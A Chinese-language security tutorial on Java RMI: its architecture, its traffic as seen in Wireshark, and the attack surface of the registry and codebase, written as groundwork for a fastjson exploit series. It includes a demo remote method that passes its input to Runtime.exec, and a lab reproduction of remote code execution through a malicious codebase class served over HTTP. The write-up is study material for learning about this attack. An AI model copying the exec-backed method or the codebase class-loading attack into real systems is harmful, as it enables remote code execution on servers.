浅谈 Java RMI

0x00 前言

在上一篇文章中我们分析了fastjson TemplatesImpl的利用链,本来这篇应该是分析fastjson JdbcRowSetImpl利用链的,但是由于在JdbcRowSetImpl这条链中会用到RMI相关知识,所以这篇文章我们就先来简单的学习一下RMI

在学习过程中发现RMI的知识非常的多,所以本篇文章只是简单的介绍一下RMI,后续有时间会具体研究补上文章

0x01 RMI 介绍

RMI(Rmote Method Invoke)全名远程方法调用。其实就是客户端(Client)可以远程调用服务端(Server)上的方法,JVM虚拟机能够远程调用另一个JVM虚拟机中的方法,但是客户端中并不是直接调用服务器上的方法的,而是会借助存根 (stub) 充当我们客户端的代理,来访问服务端,同时骨架 (Skeleton) 是另一个代理,它与真实对象一起在服务端上,骨架将接受到的请求交给服务器来处理,服务器处理完成之后将结果进行打包发送至存根 ,然后存根将结果进行解包之后的结果发送给客户端

Java RMI 及其反序列化学习 - 图1

有几点我们单独拿出来说说

序列化传输

RMI在数据传输中的对象必须要实现java.io.Serializable接口,因为传输过程中都是进行序列化进行传输并且客户端的serialVersionUID字段要与服务器端保持一致。下图中的ac ed就是反序列化的标志

Java RMI 及其反序列化学习 - 图2

RMI 主要构成部分

RMI的主要由三部分组成

  1. RMI Registry 注册表:服务实例将被注册表注册到特定的名称中(可以理解为电话簿)
  2. RMI Server 服务端
  3. RMI Client 客户端:客户端通过查询注册表来获取对应名称的对象引用,以及该对象实现的接口

这里借用P牛的图片简单说一下流程(具体会在下文进行分析)

首先我们的RMI Client 会远程连接RMI Registry(默认端口1099),然后会在Registry 寻找名字为Test的对象 (假设此时客户端要调用Test对象中的某个方法),Registry会寻找对应名字的远程对象引用,并且序列化后进行返回(数据内容就是远程对象的地址,这里返回的对象就是前文提到的存根stub),客户端在接受到之后首先会在本机中的classpath进行查找,如果没有找到则说明是远程对象,客户端就会与远程地址进行tcp连接。

Java RMI 及其反序列化学习 - 图3

存根(Stub)和骨架(Skeleton)

参考自:https://paper.seebug.org/1091/#java-rmi_1

当RMI Server 启动的时候端口是被随机分配的,但是我们的RMI Registry端口是知道的

  1. 客户端通过远程连接 Registry 获取存根(Stub),存根(Stub)中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节。
  2. 由于存根(Stub) 是客户端的代理类,所以客户端可以调用Stub上的方法
  3. Stub远程连接到服务器,提交对应的参数
  4. 骨架(Skeleton) 收到数据并对其进行反序列化,然后将发送给我们的Server
  5. Server执行之后将结果进行打包,传输给Client

0x02 简单的 RMI Demo

前面概念说了那么多接下来我们直接结合实例来分析

Server

  1. 编写一个实现Remote的接口
  2. 编写一个继承于UnicastRemoteObject的接口实现类

远程对象的实现类必须要继承自UnicastRemoteObject,只有继承了才能表示该类是一个远程对象,如果不继承的话我们就需要手动调用类中的exportObject静态方法

  1. Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class server {
    public interface RMIinterface extends Remote{
        String RmiDemo() throws Exception;
    }
    public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
        public RMIInstance() throws RemoteException {
            super();
        }
        public String RmiDemo(String cmd) throws Exception{
            Runtime.getRuntime().exec(cmd);
            return "+OK";
        }
    }
}

Registry

RMI Registry就像一个RMI 电话簿,你可以使用Registry来查找另一台主机上注册的远程对象的引用,我们可以在上面注册一个Name 到对象的绑定关系,但是Registry⾃己是不会执行远程⽅法的,RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后远程方法实际上在RMI Server上调用的。

// 创建并运行了Registry服务,且端口为1099
LocateRegistry.createRegistry(1099);
// Naming.bind 进行绑定,将rmIinterface对象绑定到Exp这个名字上, 第一个参数为一个为url,第二个参数则是我们的对象
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);

我们这边将Server 和 Registry进行组合

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class server {
    public interface RMIinterface extends Remote{
        String RmiDemo() throws Exception;
    }
    public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
        public RMIInstance() throws RemoteException {
            super();
        }
         public String RmiDemo(String cmd) throws Exception{
            Runtime.getRuntime().exec(cmd);
            return "+OK";
        }
    }
    public void start() throws Exception{
        RMIinterface rmIinterface = new RMIInstance();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
    }

    public static void main(String[] args) throws Exception {
        new server().start();
    }
}

Client

利用Naming.lookup找到对应的实例,然后调用方法,将 open -a Calculator 作为参数进行传入

import java.rmi.Naming;

public class client {
    public static void main(String[] args) throws Exception{
        server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
        String res = rmIinterface.RmiDemo("open -a Calculator");
        System.out.println(res);
    }
}

可以发现成功触发Server类中的方法,从而跳出计算器

Java RMI 及其反序列化学习 - 图4

RMI通信(Wireshark)

首先会和Registry进行TCP三次握手,建立连接

然后在红框处,Client会向Registry发出一个Call请求,然后Registry会返回一个ReturnData,ReturnData中会包含目标IP地址等信息(数据传输都是序列化的)

搜索语句 : rmi || tcp.port eq 53835 || tcp.port eq 53756 这里我是根据端口号对应的提取出来的,如果在实际情况下可以直接定位源ip和目的ip

Java RMI 及其反序列化学习 - 图5

查看ReturnData的数据

下方红框处就代表的是端口,在返回的数据中不仅仅包含了地址端口信息还包含了其他信息

红框处的 \x00\x00\xd1\xfa 首先这里涉及大端序小端序的问题(这里感谢ruozhi师傅的解答),想了解具体的可以参考下面这篇文章

https://www.ruanyifeng.com/blog/2016/11/byte-order.html

简单的概括一下就是,我们在平时遇到的时候都是大端序,但是计算机在读取数据的时候会优先读取低位也就是采用小端序 (这样效率更高)

Java RMI 及其反序列化学习 - 图6

所以这里我们需要利用python将大小端进行转换,转换之后发现返回的端口是53754

Java RMI 及其反序列化学习 - 图7

ps:这里的 >I 是struct的格式支持,感兴趣的师傅们可以看下方链接的文章

https://www.cnblogs.com/gala/archive/2011/09/22/2184801.html

Java RMI 及其反序列化学习 - 图8

在知道远程服务器的端口号之后,我们可先增加wireshark过滤条件 tcp.port eq 53754 (本地的包太多包了Orz)

过滤之后发现,客户端在获取到了远程服务器的地址及端口号之后,会和Server进行了一次tcp连接

所以在整个RMI通信流程中一共会进行两次TCP连接

  1. 第一次会和Registry建立一次TCP连接,Registry返回存根(Stub)
  2. 第二次获取到Server的地址后(192.168.1.116:53754),利用存根调用远程方法进行第二次TCP连接,所以方法调用就是在该TCP通信中

Java RMI 及其反序列化学习 - 图9

最后再放一张流程图方便大家理解

Java RMI 及其反序列化学习 - 图10

0x03 RMI带来的安全问题

RMI由于传输是序列化传输的所以会带来很多的安全问题,这里主要来简单的介绍一下

通常RMI Registry的默认端口为1099,那么在我们能够访问到RMI Registry的情况下我们可以做什么?

  1. 尝试绑定恶意对象
    答案是不可以,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind方法,但是我们可以使用list和lookup方法
  2. 利用RMI服务器上存在的恶意方法进行命令执行
    我们可以首先通过list列出所有的对象引用,然后只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具,其中一个功能就是进行危险方法的探测
    https://github.com/NickstaDB/BaRMIe

Java RMI 及其反序列化学习 - 图11

利用codebase执行命令

codebase是什么

简单来说codebase就是远程加载类的路径,当对象在发送序列化的数据的时候会带上codebase信息,当接受方在本地classpath中没有找到类的话,就会去codebase所指向的地址加载类

我们可以利用 -Djava.rmi.server.codebase=http://url:8080/ 来设置我们的codebase参数

codebase的危害

以上是正常的用途,但是作为安全人员如果将codebase指定为我们的恶意地址这样就很有可能造成危害,如果将codebase指向地址上的类改为Server请求的同名文件,那么Server就会加载我们的恶意类从而造成命令执行

所以官方也意识到了这一问题,并采取了一些措施

官方将 java.rmi.server.useCodebaseOnly 参数的默认值由false 改为了true 。在java.rmi.server.useCodebaseOnly参数配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase,不再支持从RMI请求中获取。

所以现在需要符合以下条件才能成功利用:

  1. 安装并配置了SecurityManager
  2. 配置 java.rmi.server.useCodebaseOnly 参数为false 例:java -Djava.rmi.server.useCodebaseOnly=false

将RMIClient.java 编译之后会生成RMIClient.class 和 RMIClient$Payload.class,同时我们的服务器又会访问这两个文件

那么如果我们往RMIClient.java中添加恶意命令执行的代码,例如如下恶意静态代码

static {
        try{
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e){
            e.printStackTrace();
        }
    }

那么在指定codebase的情况下,服务器就会向我们codebase所指向的地址进行请求并且加载,从而触发静态代码片段中的恶意命令从而执行命令,下面就是服务端请求的截图:

Java RMI 及其反序列化学习 - 图12

这里利用p神的代码进行复现,下面首先进行一些配置

ICalc.java

首先创建一个sum接口

import java.rmi.Remote;
import java.rmi.RemoteException; 
import java.util.List;
public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}

Calc.java

编写一个接口的实现类

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
    public Calc() throws RemoteException {}

    public Integer sum(List<Integer> params) throws RemoteException {
        Integer sum = 0;
        for (Integer param : params) {
            sum += param;
        }
        return sum;
    }
}

RemoteRMIServer.java

编写远程RMI服务器,这里将Registry 与 Server 绑定在了一起

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
    private void start() throws Exception {
        if (System.getSecurityManager() == null) { 
            System.out.println("setup SecurityManager"); 
            System.setSecurityManager(new SecurityManager());
        }
        Calc h = new Calc(); LocateRegistry.createRegistry(1099);
        Naming.rebind("refObj", h); 
    }
    public static void main(String[] args) throws Exception {
        new RemoteRMIServer().start();
    }
}

命令行:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy RemoteRMIServer

IDEA配置如下:

-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy

Java RMI 及其反序列化学习 - 图13

RMIClient.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {

    private static final long serialVersionUID = 1L;

    public class Payload extends ArrayList<Integer>
    {}

    public void lookup() throws Exception {
        ICalc r = (ICalc)
                Naming.lookup("rmi://192.168.1.116:1099/refObj");
        List<Integer> li = new Payload(); 
          li.add(3);
        li.add(4);
        System.out.println(r.sum(li)); }
    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

命令行配置:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.1.116:8000/ -Djava.security.policy=client.policy RMIClient

IDEA配置:

IDEA 如果要debug分析的话,需要删除target文件夹下的这两个文件,因为这样会优先加载本地classpath而不去加载我们codebase指定的远程路径上的类

Java RMI 及其反序列化学习 - 图14

Java RMI 及其反序列化学习 - 图15

java.policy.applet

在目录下添加该文件,如果不添加的话就会有报错显示没有权限

grant{
    permission java.security.AllPermission;
};

开启HTTP服务器

恶意RMIClient.java

在静态代码段中插入我们的恶意命令

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {

    private static final long serialVersionUID = 1L;

    static {
        try{
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    public class Payload extends ArrayList<Integer>
    {}

    public void lookup() throws Exception {
        ICalc r = (ICalc)
                Naming.lookup("rmi://192.168.1.116:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);
        System.out.println(r.sum(li)); }
    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

先编译文件夹下的所有java文件,然后开启8000端口的http服务器

javac *.java
python -m SimpleHTTPServer 8000

Java RMI 及其反序列化学习 - 图16

最终执行效果,发现我们的服务端请求了我们恶意HTTP服务器上的恶意类并且进行了加载从而触发了命令执行

效果如下:

Java RMI 及其反序列化学习 - 图17

该命令执行是服务端,服务端接收到之后向codebase指向的地址进行请求并进行加载,如果codebase可控,那么我们就可以插入我们的地址从而导致命令执行

RMI codebase命令执行简单分析

由于具体流程分析太长(同时俺太菜)所以这里只对命令执行过程中的关键点进行分析

ps:debug过程中将如下红框取消勾选,由于代码中涉及代理,而IDEA debug是利用toString,在调用toString的时候会进入代理类的invoke方法从而影响调试结果

Java RMI 及其反序列化学习 - 图18

RemoteRMIServer

sun.rmi.server.MarshalInputStream.class 62行 (这里俺是一步步跟下来的,太菜了只能慢慢跟

在红框处 利用RMIClassLoader进行了类的加载,远程加载了我们http服务器上的类

Java RMI 及其反序列化学习 - 图19

跟进loadClass方法

Java RMI 及其反序列化学习 - 图20

继续进行跟进

Java RMI 及其反序列化学习 - 图21

进入 pathToURLs 方法 发现会先存入缓存

Java RMI 及其反序列化学习 - 图22

最终远程加载我们的恶意类

Java RMI 及其反序列化学习 - 图23

一路跟下来发现在红框处进行了类的加载

Java RMI 及其反序列化学习 - 图24

跟进发现是继承于URLClassLoader,所以实际上是利用URLClassLoader进行远程加载的

Java RMI 及其反序列化学习 - 图25

Java RMI 及其反序列化学习 - 图26

所以从源码层面看是服务端向codebase发起了请求,利用了URLClassLoader进行了加载,最终导致命令执行

0x04 写在最后(碎碎念

Java RMI 涉及非常多,在该片文章中只能浅显的进行介绍,这里也对各位读者说一声抱歉,后面会写

每次写文章的时候都很想把每个地方都写清楚,想让更少的人走弯路,但又深知自己只是一个学习Java不久的初学者,很多地方都没有自己的深入理解,导致在写文章中很多地方没有写清楚,但是同时又想尽快的更新文章,就导致自己比较浮躁

写在文章最后也是想劝谏自己耐心钻研学习,少些浮躁,争取写出更多高质量的文章。

0x05 参考链接

p牛-代码审计

https://y4er.com/post/java-rmi/

https://www.f4de.ink/pages/152581/#rmi和jndi

https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247485809&idx=3&sn=36f96dfb41bf03cebc4c92e63cd4c181

https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl利用链/

https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html

https://www.anquanke.com/post/id/199481#h3-10

https://paper.seebug.org/1091/#java-rmi_3

https://www.smi1e.top/java代码审计学习之jndi注入/